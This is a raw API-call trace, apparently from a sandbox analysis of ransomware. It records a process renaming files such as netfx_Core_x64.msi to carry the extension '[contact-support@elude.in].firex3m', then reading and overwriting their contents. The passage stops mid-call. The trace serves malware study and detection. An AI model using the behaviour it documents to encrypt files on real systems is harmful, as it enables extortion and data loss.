Sleep (dwMilliseconds=0x1) [0081.833] Sleep (dwMilliseconds=0x1) [0081.848] Sleep (dwMilliseconds=0x1) [0081.886] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.926] Sleep (dwMilliseconds=0x1) [0081.943] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.002] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.069] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.150] Sleep (dwMilliseconds=0x1) [0082.159] Sleep (dwMilliseconds=0x1) [0082.193] Sleep (dwMilliseconds=0x1) [0082.216] Sleep (dwMilliseconds=0x1) [0082.231] Sleep (dwMilliseconds=0x1) [0082.260] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.296] Sleep (dwMilliseconds=0x1) [0082.308] Sleep (dwMilliseconds=0x1) [0082.372] Sleep (dwMilliseconds=0x1) [0082.417] Sleep (dwMilliseconds=0x1) [0082.542] Sleep (dwMilliseconds=0x1) [0082.586] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.682] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.775] Sleep (dwMilliseconds=0x1) [0082.823] Sleep (dwMilliseconds=0x1) [0082.869] Sleep (dwMilliseconds=0x1) [0082.917] Sleep (dwMilliseconds=0x1) [0082.967] Sleep (dwMilliseconds=0x1) [0083.017] Sleep (dwMilliseconds=0x1) [0083.054] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.241] Sleep (dwMilliseconds=0x1) [0083.294] Sleep (dwMilliseconds=0x1) [0083.336] Sleep (dwMilliseconds=0x1) [0083.386] Sleep (dwMilliseconds=0x1) [0083.435] Sleep (dwMilliseconds=0x1) [0083.704] Sleep (dwMilliseconds=0x1) [0083.750] Sleep (dwMilliseconds=0x1) [0083.803] Sleep (dwMilliseconds=0x1) [0083.912] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.092] Sleep (dwMilliseconds=0x1) [0084.203] Sleep (dwMilliseconds=0x1) [0084.342] Sleep (dwMilliseconds=0x1) [0084.739] Sleep (dwMilliseconds=0x1) [0084.810] Sleep (dwMilliseconds=0x1) [0084.878] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.178] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.391] Sleep (dwMilliseconds=0x1) [0085.735] Sleep (dwMilliseconds=0x1) [0085.832] Sleep (dwMilliseconds=0x1) [0085.962] Sleep (dwMilliseconds=0x1) [0086.077] Sleep (dwMilliseconds=0x1) [0086.192] Sleep (dwMilliseconds=0x1) [0086.231] Sleep (dwMilliseconds=0x1) [0086.299] Sleep (dwMilliseconds=0x1) [0086.347] Sleep (dwMilliseconds=0x1) [0086.593] Sleep (dwMilliseconds=0x1) [0086.892] Sleep (dwMilliseconds=0x1) [0087.096] Sleep (dwMilliseconds=0x1) [0087.294] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", len=0x2c | out: pbstr=0x3bbff7c*="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 1 [0087.294] GetProcessHeap () returned 0x630000 [0087.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e92b0, Size=0x1c) returned 0x6e9288 [0087.294] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0087.294] CloseHandle (hObject=0x674) returned 1 [0087.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.295] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.295] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0087.295] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0087.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0087.295] GetProcessHeap () returned 0x630000 [0087.295] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0087.312] GetProcessHeap () returned 0x630000 [0087.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ecb478 [0087.312] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.312] ReadFile (in: hFile=0x674, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.904] GetProcessHeap () returned 0x630000 [0091.904] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0091.904] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.904] WriteFile (in: hFile=0x674, lpBuffer=0x6ecb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb478*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0091.905] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.905] WriteFile (in: hFile=0x674, lpBuffer=0x6ed6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed6877*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.905] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.905] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.905] CloseHandle (hObject=0x674) returned 1 [0091.907] GetProcessHeap () returned 0x630000 [0091.907] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecb478 | out: hHeap=0x630000) returned 1 [0091.911] GetProcessHeap () returned 0x630000 [0091.911] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0091.912] GetProcessHeap () returned 0x630000 [0091.912] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0091.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.912] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xfcbac2f4, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x13c6e, dwReserved0=0xc947496, dwReserved1=0x6ec0040, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0091.912] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0091.912] Sleep (dwMilliseconds=0x1) [0093.546] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", len=0x28 | out: pbstr=0x3bbff7c*="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 1 [0093.546] GetProcessHeap () returned 0x630000 [0093.546] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x727bf0, Size=0x78) returned 0x6905f8 [0093.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0093.573] CloseHandle (hObject=0x6f8) returned 1 [0093.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.573] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.574] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NE463D~1.FIR")) returned 0x6d51c0 [0093.574] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0093.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0093.574] GetProcessHeap () returned 0x630000 [0093.574] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0093.575] GetProcessHeap () returned 0x630000 [0093.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71cb478 [0093.576] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.576] ReadFile (in: hFile=0x6f8, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.758] GetProcessHeap () returned 0x630000 [0100.758] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0100.759] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.759] WriteFile (in: hFile=0x6f8, lpBuffer=0x71cb478*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb478*, lpNumberOfBytesWritten=0x3bbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.759] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.759] WriteFile (in: hFile=0x6f8, lpBuffer=0x71d6877*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d6877*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.761] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.761] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.761] CloseHandle (hObject=0x6f8) returned 1 [0101.512] GetProcessHeap () returned 0x630000 [0101.512] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71cb478 | out: hHeap=0x630000) returned 1 [0101.512] GetProcessHeap () returned 0x630000 [0101.512] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0101.512] GetProcessHeap () returned 0x630000 [0101.512] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0101.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.512] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x2754a71, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d0224, dwReserved0=0xc947496, dwReserved1=0x71c0040, cFileName="netfx_Core_x64.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NE463D~1.FIR")) returned 0x6d4e40 [0101.513] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.513] Sleep (dwMilliseconds=0x1) [0102.157] Sleep (dwMilliseconds=0x1) [0102.381] Sleep (dwMilliseconds=0x1) [0102.549] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.986] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.269] Sleep (dwMilliseconds=0x1) [0103.547] Sleep (dwMilliseconds=0x1) [0105.030] Sleep (dwMilliseconds=0x1) [0106.917] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB", len=0x33 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 1 [0106.917] GetProcessHeap () returned 0x630000 [0106.917] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x30) returned 0x6ed5e08 [0106.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0106.918] CloseHandle (hObject=0x6d8) returned 1 [0106.918] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0106.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0106.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0106.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSADDN~1.FIR")) returned 0x6d4f80 [0106.919] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0106.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0106.919] GetProcessHeap () returned 0x630000 [0106.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e81) returned 0x6fbac78 [0106.920] GetProcessHeap () returned 0x630000 [0106.920] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e81) returned 0x705758 [0106.920] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.920] ReadFile (in: hFile=0x6d8, lpBuffer=0x6fbac78, nNumberOfBytesToRead=0x3e60, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fbac78*, lpNumberOfBytesRead=0x3bbff0c*=0x3e60, lpOverlapped=0x0) returned 1 [0109.140] GetProcessHeap () returned 0x630000 [0109.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee5f8 [0109.140] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.140] WriteFile (in: hFile=0x6d8, lpBuffer=0x705758*, nNumberOfBytesToWrite=0x3e60, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x705758*, lpNumberOfBytesWritten=0x3bbff0c*=0x3e60, lpOverlapped=0x0) returned 1 [0109.140] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.140] WriteFile (in: hFile=0x6d8, lpBuffer=0x7095b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7095b7*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.140] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.140] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.141] CloseHandle (hObject=0x6d8) returned 1 [0109.142] GetProcessHeap () returned 0x630000 [0109.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705758 | out: hHeap=0x630000) returned 1 [0109.142] GetProcessHeap () returned 0x630000 [0109.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fbac78 | out: hHeap=0x630000) returned 1 [0109.142] GetProcessHeap () returned 0x630000 [0109.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee5f8 | out: hHeap=0x630000) returned 1 [0109.142] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x700d631, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e94, dwReserved0=0xc947496, dwReserved1=0x6fbac70, cFileName="MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSADDN~1.FIR")) returned 0x6d5400 [0109.142] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0109.143] Sleep (dwMilliseconds=0x1) [0111.449] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui", len=0x47 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned 1 [0111.449] GetProcessHeap () returned 0x630000 [0111.449] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x44) returned 0x64a048 [0111.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.637] Sleep (dwMilliseconds=0x1) [0111.652] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi", len=0x42 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 1 [0111.652] GetProcessHeap () returned 0x630000 [0111.652] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a048, Size=0x40) returned 0x6fef3c8 [0111.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.653] Sleep (dwMilliseconds=0x1) [0111.668] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui", len=0x4f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 1 [0111.668] GetProcessHeap () returned 0x630000 [0111.668] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef3c8, Size=0x3c) returned 0x6fef410 [0111.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.706] Sleep (dwMilliseconds=0x1) [0111.715] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui", len=0x44 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 1 [0111.715] GetProcessHeap () returned 0x630000 [0111.715] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef410, Size=0x38) returned 0x6d53c0 [0111.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 